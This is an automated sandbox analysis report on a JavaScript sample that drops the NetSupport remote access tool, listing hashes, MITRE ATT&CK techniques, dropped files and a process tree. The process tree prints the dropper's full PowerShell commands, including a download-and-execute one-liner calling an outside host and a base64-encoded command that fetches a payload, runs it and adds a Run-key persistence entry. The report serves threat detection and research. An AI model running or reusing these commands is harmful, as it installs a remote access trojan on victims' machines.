netsupport | 004d74496975e008a7fc693503d1e37480d46ce33d17c7e48fa0d7ca29e1a015

Resubmissions

01/03/2024, 10:30

240301-mjz9aafd8y10

01/03/2024, 10:19

240301-mcjb7afd2s10

Analysis

max time kernel
93s
max time network
139s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
01/03/2024, 10:19

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General

Target
142101421014210REC_.js
Size 82KB
Sample240301-mcjb7afd2s
SHA256 004d74496975e008a7fc693503d1e37480d46ce33d17c7e48fa0d7ca29e1a015
MD5 dfc7f50c2ccb605bc0230c7c07e8e96d
SHA1 bbc6d71f601546c702c32f6dadeda8574b7b7ba9
SHA512 24218fe3334327d13f3380904cb59ea082e57f6758b330e06dafe9f12a05d3ce2c8bb2f527245a3ef838b07fcf36231c614d4868b0f874095eadfe138e514a5b
SSDEEP 1536:FziPYUNKRMz+GB1+vS3DL/NgMwZc+m/A1pRrGOIPFDgPwj9UtC06VBn6GZa8Tsra:FzijRqGrPfkRr7IRgPaqojfZa8Tt
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

netsupport persistence rat

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
https://cspapply.com/br.txt

Extracted

Language

Source

URLs

exe.dropper
http://realty-bundles.com/2a23623a-355c-4esa7-a4bb-1e8928de3680.txt

Signatures

NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
rat netsupport

Blocklisted process makes network request 2 IoCs

flow	pid	Process
27	3456	powershell.exe
29	2108	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\Control Panel\International\Geo\Nation	wscript.exe

Executes dropped EXE 1 IoCs

pid	Process
964	client32.exe

Loads dropped DLL 5 IoCs

pid	Process
964	client32.exe
964	client32.exe
964	client32.exe
964	client32.exe
964	client32.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\DriveShareVer.02.30 = "C:\\Users\\Admin\\AppData\\Roaming\\DriveShareVer.02.30\\client32.exe"	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3456	powershell.exe
3456	powershell.exe
2108	powershell.exe
2108	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3456	powershell.exe
Token: SeDebugPrivilege	2108	powershell.exe
Token: SeSecurityPrivilege	964	client32.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
964	client32.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 5032 wrote to memory of 3456	5032	wscript.exe	92
PID 5032 wrote to memory of 3456	5032	wscript.exe	92
PID 3456 wrote to memory of 2108	3456	powershell.exe	94
PID 3456 wrote to memory of 2108	3456	powershell.exe	94
PID 2108 wrote to memory of 964	2108	powershell.exe	95
PID 2108 wrote to memory of 964	2108	powershell.exe	95
PID 2108 wrote to memory of 964	2108	powershell.exe	95

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\142101421014210REC_.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5032
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (New-Object Net.WebClient).DownloadString('https://cspapply.com/br.txt')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3456
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoPRoFIle -eXE bypass -winDoWS HID -eC UwBlAFQALQBsAE8AQwBBAHQAaQBPAE4AIAAkAEUATgB2ADoAYQBwAHAAZABBAFQAYQA7ACAAJAA3AG4AUgBCADUAPQBbAGIAeQB0AGUAWwBdAF0AQAAoADgAMAAsACAANwA1ACwAIAAzACwAIAA0ACkAOwAgACQAYwBBADMAcwBaADkAQQBuAD0AJwBoAHQAdABwADoALwAvAHIAZQBhAGwAdAB5AC0AYgB1AG4AZABsAGUAcwAuAGMAbwBtAC8AMgBhADIAMwA2ADIAMwBhAC0AMwA1ADUAYwAtADQAZQBzAGEANwAtAGEANABiAGIALQAxAGUAOAA5ADIAOABkAGUAMwA2ADgAMAAuAHQAeAB0ACcAOwAgACQATgB2AFgAdwBYAD0AJwBaADEAUABJADAALgB6AGkAcAAnADsAIAAkAHoAYQBoAEUAcwB0AD0AJwBEAHIAaQB2AGUAUwBoAGEAcgBlAFYAZQByAC4AMAAyAC4AMwAwACcAOwAgACQARQBrAHoAeQBCAEQAVQA9AEkAbgBWAE8ASwBFAC0AVwBlAEIAUgBFAFEAdQBFAFMAdAAgAC0AVQBSAEkAIAAkAGMAQQAzAHMAWgA5AEEAbgAgAC0AdQBTAGUAYgBhAHMAaQBjAFAAQQByAHMASQBuAEcAOwAgACQARgAwAFYAegBKAD0AJABFAGsAegB5AEIARABVAC4AYwBvAE4AdABFAE4AdAA7ACAAJABnADkAcABIADgANAA9ACQARQBOAHYAOgBhAHAAcABkAEEAVABhACwAIAAkAHoAYQBoAEUAcwB0ACAALQBqAE8ASQBuACAAJwBcACcAOwAgACQAYgA3AFcATAB5AGoATgA9ACIAewAwAH0AXAB7ADEAfQAiACAALQBmACAAJABFAE4AdgA6AGEAcABwAGQAQQBUAGEALAAgACQATgB2AFgAdwBYADsAIAAkADkAawBDADYATwBZAEsAPQBbAGMAbwBOAFYAZQBSAFQAXQA6ADoAZgBSAG8AbQBCAGEAcwBFADYANABTAHQAcgBJAE4ARwAoACQARgAwAFYAegBKACkAOwAgACQAYgBNAHEASgBTAGsASwBWAD0AJAA5AGsAQwA2AE8AWQBLACAALQBTAFAAbABpAFQAIAAnACAAJwAgAC0AYQBTACAAWwBiAFkAdABFAFsAXQBdADsAIAAkAFUAVAA4AEEAOAA9ACQANwBuAFIAQgA1ACsAJABiAE0AcQBKAFMAawBLAFYAOwAgAHMAQwAgACQATgB2AFgAdwBYACAAJABVAFQAOABBADgAIAAtAGUAbgBjAE8ARABJAG4AZwAgAGIAeQB0AGUAOwAgAEUAeABQAGEATgBkAC0AYQBSAGMAaABJAFYAZQAgAC0AcABBAHQAaAAgACQAYgA3AFcATAB5AGoATgAgAC0AZABFAHMAVABpAE4AYQBUAEkATwBuAHAAQQBUAEgAIAAkAGcAOQBwAEgAOAA0ACAALQBmAG8AUgBjAEUAOwAgAEQARQBMACAAJABOAHYAWAB3AFgAOwAgAGMARAAgACQAZwA5AHAASAA4ADQAOwAgACQATAAwADQAbgBUAFEAVgBBAD0AJABnADkAcABIADgANAAsACAAJwBjAGwAaQBlAG4AdAAzADIALgBlAHgAZQAnACAALQBKAG8AaQBOACAAJwBcACcAOwAgAHMAdABhAHIAdAAgAGMAbABpAGUAbgB0ADMAMgAuAGUAeABlADsAIABOAGUAVwAtAEkAdABlAE0AUAByAE8AcABlAHIAVAB5ACAALQBQAGEAdABIACAAJwBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABSAHUAbgAnACAALQBuAGEATQBlACAAJAB6AGEAaABFAHMAdAAgAC0AVgBhAGwAVQBFACAAJABMADAANABuAFQAUQBWAEEAIAAtAFAAUgBPAFAAZQBSAHQAWQB0AHkAUABFACAAJwBTAHQAcgBpAG4AZwAnADsA
    3⤵
    - Blocklisted process makes network request
    - Adds Run key to start application
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2108
  - - C:\Users\Admin\AppData\Roaming\DriveShareVer.02.30\client32.exe
      "C:\Users\Admin\AppData\Roaming\DriveShareVer.02.30\client32.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      PID:964

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 84871d83ecd410fb4ddede63061d9c521d876d47a8ffdbb8609378447ba0d262
MD5 512c6cab650bfda6ef2995f6b515ed6f
SHA1 fec40abf4f5d74ea7f8828cee83770e423203083
SHA512 638fffef25de1c3e850eb4f4668c4fdafed7bde042b130325daf323b45d2784916381b410219473b5bbacb4c11c6b8b7ab892b3d5695edb0b0a0785233e8e19b
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 0b479a9a243e4fa548d64277229f3c72cc7c6773001a235fc406c74e98d32b1a
MD5 ba7bb8c22d72f7d6094bf4b7a11fd2df
SHA1 e68eab39081c17997a16bca1667f1544f11804a5
SHA512 58288cb73c35eb08b28f9ad0e96ed17e89b6e361c015c233deba9eb39a928e7216576c897bed531625171606ff9952361c40b14df27c0aa7e2e68228aeb0de4c
MD5 SHA1 SHA512

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__PSScriptPolicyTest_cqd5n3ft.ctq.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cqd5n3ft.ctq.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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HTCTL32.DLL

Path C:\Users\Admin\AppData\Roaming\DriveShareVer.02.30\HTCTL32.DLL
Size 320KB
SHA256 edfe2b923bfb5d1088de1611401f5c35ece91581e71503a5631647ac51f7d796
MD5 2d3b207c8a48148296156e5725426c7f
SHA1 ad464eb7cf5c19c8a443ab5b590440b32dbc618f
SHA512 55c791705993b83c9b26a8dbd545d7e149c42ee358ecece638128ee271e85b4fdbfd6fbae61d13533bf39ae752144e2cc2c5edcda955f18c37a785084db0860c
SSDEEP 6144:2ib5YbsXPKXd6ppGpwpbGf30IVFpSzyaHx3/4aY5dUilQpAf84lH0JYBAnM1OK/Y:2ib5YbsXioEgULFpSzya9/lY5SilQCfg
MD5 SHA1 SHA512 SSDEEP

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MSVCR100.dll

Path C:\Users\Admin\AppData\Roaming\DriveShareVer.02.30\MSVCR100.dll
Size 755KB
SHA256 8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18
MD5 0e37fbfa79d349d672456923ec5fbbe3
SHA1 4e880fc7625ccf8d9ca799d5b94ce2b1e7597335
SHA512 2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630
SSDEEP 12288:nMmCy3nAgPAxN9ueqix/HEmxsvGrif8ZSy+rdQw2QRAtd74/vmYK6H3BVoe3z:MmCy3KxW3ixPEmxsvGrm8Z6r+JQPzV7z
MD5 SHA1 SHA512 SSDEEP

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NSM.LIC

Path C:\Users\Admin\AppData\Roaming\DriveShareVer.02.30\NSM.LIC
Size 259B
SHA256 6a7c99e4bd767433c25d6df8df81baa99c05dd24fa064e45c306ff4d954e1921
MD5 866c96ba2823ac5fe70130dfaaa08531
SHA1 892a656da1ea264c73082da8c6e5f5728abcb861
SHA512 0dafc66222bbfcb1558d9845ee4ddeb7a687561b08b86a07b66b120c22952a8082e041d9234d9c69c8ade5d4dae894d3f10afd7ba6dd3f057a08fb5d57c42112
MD5 SHA1 SHA512

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PCICHEK.DLL

Path C:\Users\Admin\AppData\Roaming\DriveShareVer.02.30\PCICHEK.DLL
Size 18KB
SHA256 313117e723dda6ea3911faacd23f4405003fb651c73de8deff10b9eb5b4a058a
MD5 a0b9388c5f18e27266a31f8c5765b263
SHA1 906f7e94f841d464d4da144f7c858fa2160e36db
SHA512 6051a0b22af135b4433474dc7c6f53fb1c06844d0a30ed596a3c6c80644df511b023e140c4878867fa2578c79695fac2eb303aea87c0ecfc15a4ad264bd0b3cd
SSDEEP 192:1ANeiOT8Z2b6SoVF6RRHaPrpF3o47jtd3hfwHjvud3hfwx7bjuh:1ANt+E2exrpxTSDuTuih
MD5 SHA1 SHA512 SSDEEP

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PCICL32.dll

Path C:\Users\Admin\AppData\Roaming\DriveShareVer.02.30\PCICL32.dll
Size 3.3MB
SHA256 250e8bbec081ae5e65b669da92652af6d4266db816c8705fbc9be84707914d99
MD5 916c03d8fc0c1fd211c254737dff1055
SHA1 948ee4fbae7ce9dc7a37ccaca75341876bbf5d70
SHA512 ad18049763a0c289f80c0efa21fbe2a44d0d3f4b5f3686ed9be7562e5c9c68f932a8047377e3a5a8a2a6f09046bb12eadf8b6d3b99dfaa81650fa633ccee1050
SSDEEP 49152:IPcnfKOu6iigooamJwfLlH41GarwYoxeOfR90J0TpHaJclST2503:IPcniOu6CvJwfLVzpxeO59/Sv
MD5 SHA1 SHA512 SSDEEP

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client32.exe

Path C:\Users\Admin\AppData\Roaming\DriveShareVer.02.30\client32.exe
Size 117KB
SHA256 89f0c8f170fe9ea28b1056517160e92e2d7d4e8aa81f4ed696932230413a6ce1
MD5 a2b46c59f6e7e395d479b09464ecdba0
SHA1 92c132307dd21189b6d7912ddd934b50e50d1ec1
SHA512 4f4479ddcd9d0986aec3d789f9e14f9285e8d9d63a5b8f73c9e3203d3a53cd575b1e15edf0d5f640816bb7f25bd3501244e0f7c181a716a6804742ed2f1cf916
SSDEEP 768:rNd8VZl6FhWr80/aVr2pe/1G42KFKcMkjWBr2pe/zcKFKcMkA:rfO0hGSBee/1GVIrveee/IIrU
MD5 SHA1 SHA512 SSDEEP

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client32.ini

Path C:\Users\Admin\AppData\Roaming\DriveShareVer.02.30\client32.ini
Size 638B
SHA256 1a4a43c52c289f6f56cbfa56256cff5e9adfd3e78097a94ed4b69490b8c5469d
MD5 5a017da03df76f4e2077fd2c4a115b1b
SHA1 2a79863853d4caa243571c0055c228e079d82339
SHA512 580483c8a6c05dba738a4939e6740ed7698ab7efe54da6db8af273fe7507944b63e562377837ad110d0d645293ea7178fca64fecb197688d614d83854f172f02
MD5 SHA1 SHA512

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pcicapi.dll

Path C:\Users\Admin\AppData\Roaming\DriveShareVer.02.30\pcicapi.dll
Size 32KB
SHA256 9074fd40ea6a0caa892e6361a6a4e834c2e51e6e98d1ffcda7a9a537594a6917
MD5 dcde2248d19c778a41aa165866dd52d0
SHA1 7ec84be84fe23f0b0093b647538737e1f19ebb03
SHA512 c5d170d420f1aeb9bcd606a282af6e8da04ae45c83d07faaacb73ff2e27f4188b09446ce508620124f6d9b447a40a23620cfb39b79f02b04bb9e513866352166
SSDEEP 768:FFvNhAyi5hHA448qZkSn+EgT8To1iTYiu:FCyoHA448qSSzgI2GQ
MD5 SHA1 SHA512 SSDEEP

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memory/2108-13-0x00007FFD306B0000-0x00007FFD31171000-memory.dmp

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memory/2108-75-0x00007FFD306B0000-0x00007FFD31171000-memory.dmp

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memory/2108-19-0x000001C765E00000-0x000001C765E10000-memory.dmp

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memory/2108-25-0x000001C765E00000-0x000001C765E10000-memory.dmp

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memory/2108-27-0x000001C766C00000-0x000001C766C0A000-memory.dmp

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memory/2108-26-0x000001C766C20000-0x000001C766C32000-memory.dmp

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memory/3456-12-0x000001FEEF490000-0x000001FEEF4A0000-memory.dmp

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memory/3456-11-0x000001FEEF490000-0x000001FEEF4A0000-memory.dmp

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memory/3456-10-0x00007FFD306B0000-0x00007FFD31171000-memory.dmp

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memory/3456-9-0x000001FEEF9B0000-0x000001FEEF9D2000-memory.dmp

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memory/3456-84-0x00007FFD306B0000-0x00007FFD31171000-memory.dmp

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